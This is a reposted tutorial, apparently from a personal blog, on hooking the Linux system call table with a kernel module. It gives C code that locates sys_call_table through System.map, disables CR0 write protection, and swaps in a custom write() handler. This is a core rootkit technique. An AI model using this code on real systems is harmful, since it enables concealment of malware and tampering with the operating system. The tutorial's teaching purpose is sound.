未加星标

Hooking the Linux System Call Table

字体大小 | |
[系统(linux) 所属分类 系统(linux) | 发布者 店小二03 | 时间 2016 | 作者 红领巾 ] 0人收藏点击收藏

The linux kernel maintains a table of pointers that reference various functions made available to user space as a way of invoking privileged kernel functionality from unprivileged user space applications. These functions are collectively known as system calls .

Any legitimate software looking to hook kernel space functions should first consider using existing infrastructure designed for such uses like the Linux kernel tracepoints framework or the Linux security module framework. Rootkits are about the only reasonable application of these techniques, for some value of reasonable.

This code is an unintentional by-product of a project I was on at work. Considering the pedagogical value of such an endeavor, I decided to strip out all the code responsible for hooking the syscall table, distill it down into a single loadable kernel module that can be easily understood on its own, and write it up.

You can findthe source code here.

This code was written and tested on Ubuntu 14.04 LTS using the standard Ubuntu Linux 3.13.x kernel.

And without further ado, let’s get started.

Introduction

Hooking the Linux system call table from within a loadable kernel module is not all that difficult. After all, we are running with kernel privileges. We can do whatever we want. We can dereference and overwrite any memory address at will.

This, of course, doesn’t mean that our reckless memory overwriting isn’t going to cause problems. Because it almost certainly will, done improperly.

That said, there are a few basic things we need to do:

Locate the system call table Mark the segment of memory containing the system call table as writeable By default, the syscall table is marked as read-only Find the offset of the pointer to the function we want to hook in the syscall table We will be targeting the “write” system call in this tutorial Overwrite the appropriate 32-bit/4-byte pointer in the syscall table with a 32-bit address pointing to a function we define, thus completing the hook Mark the syscall table as read-only Even rootkits should clean up after themselves; don’t leave the place looking like a pig sty

Step number 1 is going to be the most difficult step by far.

The Main Challenge

There are some flimsy mechanisms in place to discourage LKMs (loadable kernel modules) from tampering with the syscall table for (hopefully obvious) security reasons.

First and foremost, the static portion of the Linux kernel - i.e. the portion that doesn’t reside in loadable kernel modules - does not export the syscall table symbol.

Why?

Because LKMs have no earthly business messing with the syscall table. The only valid reason for an LKM to overwrite system call pointers is to corrupt the behavior of the operating system, most often for concealment of malicious software.

Since the kernel does not export the syscall table symbol, we need to find it ourselves. We do this by manually reading in and scanning the System.map-$(uname -r) file, looking for the “sys_call_table” address. Once we have retrieved the address, we simply need to find the appropriate offset for it based on the system call we’re trying to hook, dereference it, and write to it.

This tutorial will show you how to hook system calls from a loadable kernel module (LKM) in the Linux kernel, complete with a code walkthrough. The code presented here has been tested and is known to work reliably.

Implementation

Although this code base has a few hundred lines to it, it’s actually very simple.

Much of the code simply handles logistics - nothing more. The two largest functions in this example are responsible for 1) acquiring the version of the currently running kernel so we can identify the correct System.map-$(uname -r) file to read from and 2) reading in the System.map-$(uname -r) file line by line, checking each full line read to see if it begins with “sys_call_table”.

That’s it.

Once we’ve got the address of the sys call table, it’s trivial to overwrite. Let’s take a look.

General Structure

There are a few things going on in this application. Much of the code comprises helper functions that read files and parse strings. Other than the helpers, we have our new write() function that is going to be the function we hook into the sys call table and our standard \ _init and __exit functions for loadable kernel module.

Important Defines

Toward the top of the code, you will notice:

#define PROC_V "/proc/version" #define BOOT_PATH "/boot/System.map-" #define MAX_VERSION_LEN 256

PROC_V is the file path to the /proc virtual filesystem location that contains version information of the currently running kernel.

BOOT_PATH is the file path to the System.map-$(uname -r) file that we are looking for sans appended version information. We have to retrieve the kernel version before we can finish constructing this string.

MAX_VERSION_LEN is the maximum length of the version information buffer used to store information read from the PROC_V address. We also use this define as a maximum buffer length for storing newline-separated strings in System.map-$(uname -r) as we parse it looking for the “sys_call_table” entry.

__init and __exit macros

In Linux loadable kernel modules, the function decorated with the __init macro is the entry point to the module when it’s loaded and the function decorated with the __exit macro is the destructor function that’s executed when the module is unloaded.

Since it only takes a couple lines of code to place our hooks in this simple example, we perform our dirty work directly in these functions. We’ll come back to these functions in a few minutes.

Helper Functions char *acquire_kernel_version (char *buf)

Reads version info from PROC_V and chops it down to just the string we want. We need our version info to be in the same format that’s produced by $(uname -r).

First things first, we declare some variables:

struct file *proc_version; char *kernel_version; mm_segment_t oldfs;

Next, we have to change the legal virtual address space of this process to include the kernel data segment. If we skip this step, the call to read the file will fail the user space virtual address check performed by the kernel. In short, this allows us to read file contents into kernel memory later on:

oldfs = get_fs(); set_fs (KERNEL_DS);

Once we’re setup to read data into kernel space without causing a fault, we open the PROC_V file for reading and prepare our buffer:

proc_version = filp_open(PROC_V, O_RDONLY, 0); if (IS_ERR(proc_version) || (proc_version == NULL)) { return NULL; } memset(buf, 0, MAX_VERSION_LEN);

And finally, we read in the entire contents of PROC_V up to a maximum size of MAX_VERSION_LEN:

vfs_read(proc_version, buf, MAX_VERSION_LEN, &(proc_version->f_pos));

We then tokenize the version information to extract just the information we want. The piece of information we want is located in the third space-separated column that is output by PROC_V:

kernel_version = strsep(&buf, " "); kernel_version = strsep(&buf, " "); kernel_version = strsep(&buf, " ");

Close out the file elegantly:

filp_close(proc_version, 0);

Set the legally addressable virtual memory segment back to user space:

set_fs(oldfs);

Return the pointer to the final token produced by our calls to strsep():

return kernel_version;

And there we have it. We can now rely on this helper to gather the version information we need for us.

int find_sys_call_table (char *kern_ver)

Given the $(uname -r)-style kernel version, this function builds the System.map- file name by appending kern_ver to BOOT_PATH, opens the file for reading, and reads the file line by line.

First, we declare the variables we’re going to need, as usual:

char system_map_entry[MAX_VERSION_LEN]; int i = 0; /* * Holds the /boot/System.map-<version> file name as we build it */ char *filename; /* * Length of the System.map filename, terminating NULL included */ size_t filename_length = strlen(kern_ver) + strlen(BOOT_PATH) + 1; /* * This will point to our /boot/System.map-<version> file */ struct file *f = NULL; mm_segment_t oldfs;

Here is the old memory address segment trick to switch from allowing only user space references to also allowing kernel space references:

oldfs = get_fs(); set_fs (KERNEL_DS);

Some basic logging:

printk(KERN_EMERG "Kernel version: %s\n", kern_ver);

Allocate space for the System.map file name so we can build it:

filename = kmalloc(filename_length, GFP_KERNEL); if (filename == NULL) { printk(KERN_EMERG "kmalloc failed on System.map-<version> filename allocation"); return -1; }

Zero out the memory in preparation for constructing the file name just to be safe:

memset(filename, 0, filename_length);

Build the “/boot/System.map- “ file name:

strncpy(filename, BOOT_PATH, strlen(BOOT_PATH)); strncat(filename, kern_ver, strlen(kern_ver));

Open the System.map file for reading:

f = filp_open(filename, O_RDONLY, 0); if (IS_ERR(f) || (f == NULL)) { printk(KERN_EMERG "Error opening System.map-<version> file: %s\n", filename); return -1; }

Zero out the system_map_entry buffer to be safe. The system_map_entry buffer is going to be used to store each line in the System.map file as we iterate through it so we can check it for the sys_call_table entry:

memset(system_map_entry, 0, MAX_VERSION_LEN);

We read the file one character at a time until we have read an entire line. We determine that we’ve read an entire line by 1) checking for a newline (‘\n’) character or 2) checking to see if we have read in the maximum amount of data that our buffer can hold, i.e. MAX_VERSION_LEN bytes.

Once we have read in an entire line, we do a basic string comparison to see if the first part of our system_map_entry buffer matches the string “sys_call_table”. If it does, we allocate some space to store the following address in. The System.map file is in the format:

<symbol name> <address>

so we tokenize (strsep()) the system_map_entry buffer, which returns a pointer to the second space-separated column in the line we’ve just read. That is, we get a pointer straight to the address of the “sys_call_table” symbol, as per the System.map format shown above.

Once we’ve got that pointer, we simply copy it into sys_string and then invoke kstrtoul on sys_string to convert sys_string - which contains a string representation of the hex address of the “sys_call_table” symbol as pulled from System.map- - to an unsigned long (4 byte/32 bit) address using base 16 (hex) representation and write the value to our global syscall_table pointer:

while (vfs_read(f, system_map_entry + i, 1, &f->f_pos) == 1) { /* * If we've read an entire line or maxed out our buffer, * check to see if we've just read the sys_call_table entry. */ if ( system_map_entry[i] == '\n' || i == MAX_VERSION_LEN ) { // Reset the "column"/"character" counter for the row i = 0; if (strstr(system_map_entry, "sys_call_table") != NULL) { char *sys_string; char *system_map_entry_ptr = system_map_entry; sys_string = kmalloc(MAX_VERSION_LEN, GFP_KERNEL); if (sys_string == NULL) { filp_close(f, 0); set_fs(oldfs); kfree(filename); return -1; } memset(sys_string, 0, MAX_VERSION_LEN); strncpy(sys_string, strsep(&system_map_entry_ptr, " "), MAX_VERSION_LEN); kstrtoul(sys_string, 16, &syscall_table); printk(KERN_EMERG "syscall_table retrieved\n"); kfree(sys_string); break; } memset(system_map_entry, 0, MAX_VERSION_LEN); continue; } i++; }

Once we’re done doing all that, we clean up after ourselves by closing out our file handle, changing the addressable virtual memory segment back to user space, and returning.

filp_close(f, 0); set_fs(oldfs); kfree(filename); return 0;

At this point, the syscall_table pointer - which was declared to be global to the module - now contains the address of the system call table as taken from /boot/System.map- and is ready to be dereferenced.

Placing the hooks

The __init onload function is the entry point to the module and is where our primary logic resides since it’s so simple. After we allocate require storage, we invoke the find_sys_call_table() function with the result of an invocation to acquire_kernel_version() passed in as an argument. By combining the two helpers discussed previously, we are able to collect all the prerequisite information we need to place our hooks:

char *kernel_version = kmalloc(MAX_VERSION_LEN, GFP_KERNEL); find_sys_call_table(acquire_kernel_version(kernel_version));

After find_sys_call_table() returns, the global unsigned long syscall_table variable that we declared at the top of our C file is populated and ready for manipulation.

However, there is one little caveat left: the memory address where sys_call_table resides is not writeable. The processor itself will raise an exception if you try to write to it all willy-nilly.

So what do we do? We use the Linux paravirtualization system to change the 16th bit of the CR0 register. The CR0 register is one of the control registers in the x86 processor that affects basic CPU functionality. The 16th bit of the CR0 register is the “Write Protect” bit that indicates to the processor that it cannot write to read-only memory pages, even when running as root. This is why the CPU will raise an exception if you try to write to syscall_table right off the bat.

Even though the CPU will refuse to write to read-only memory pages when the WP bit of the CR0 register is set, we are the kernel. We can just toggle that bit and continue on our way.

Using the write_cr0 and read_cr0 macros along with a logical bitmask for setting the WP bit (16th bit in CR0 register) to 0, we can trivially disable write protection as shown below.

Once that’s done, we simply dereference the appropriate offset for the system call we want to overwrite by using the kernel-defined _ NR * indices , of which there is exactly 1 for each and every system call in the system. Using these predefined offsets, we write the address of our new_write() function over the address of the system call write() function:

if (syscall_table != NULL) { write_cr0 (read_cr0 () & (~ 0x10000)); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = &new_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_EMERG "[+] onload: sys_call_table hooked\n"); } else { printk(KERN_EMERG "[-] onload: syscall_table is NULL\n"); } kfree(kernel_version); return 0;

Once we overwrite our target system call function pointer, we re-enable write protect in the CR0 register and exit the __init function successfully.

Removing the hooks

In order to keep our system in a clean and stable state, we want to remove our hooks gracefully when the module is unloaded. The __exit onunload() function behaves very similarly to the __init onload function since it also has to toggle the write protect bit in the CR0. The onunload function even writes to the exact same offset into the sys_call_table array as the onload function did.

The only difference is that the onunload function writes the address of the original write() function over the address of our new_write() function, putting everything back to the way it was before we came along:

if (syscall_table != NULL) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_write] = original_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_EMERG "[+] onunload: sys_call_table unhooked\n"); } else { printk(KERN_EMERG "[-] onunload: syscall_table is NULL\n"); } printk(KERN_INFO "Goodbye world!\n");

本文系统(linux)相关术语:linux系统 鸟哥的linux私房菜 linux命令大全 linux操作系统

主题: LinuxCPUUbuntu
分页:12
转载请注明
本文标题:Hooking the Linux System Call Table
本站链接:http://www.codesec.net/view/484992.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(linux) | 评论(0) | 阅读(31)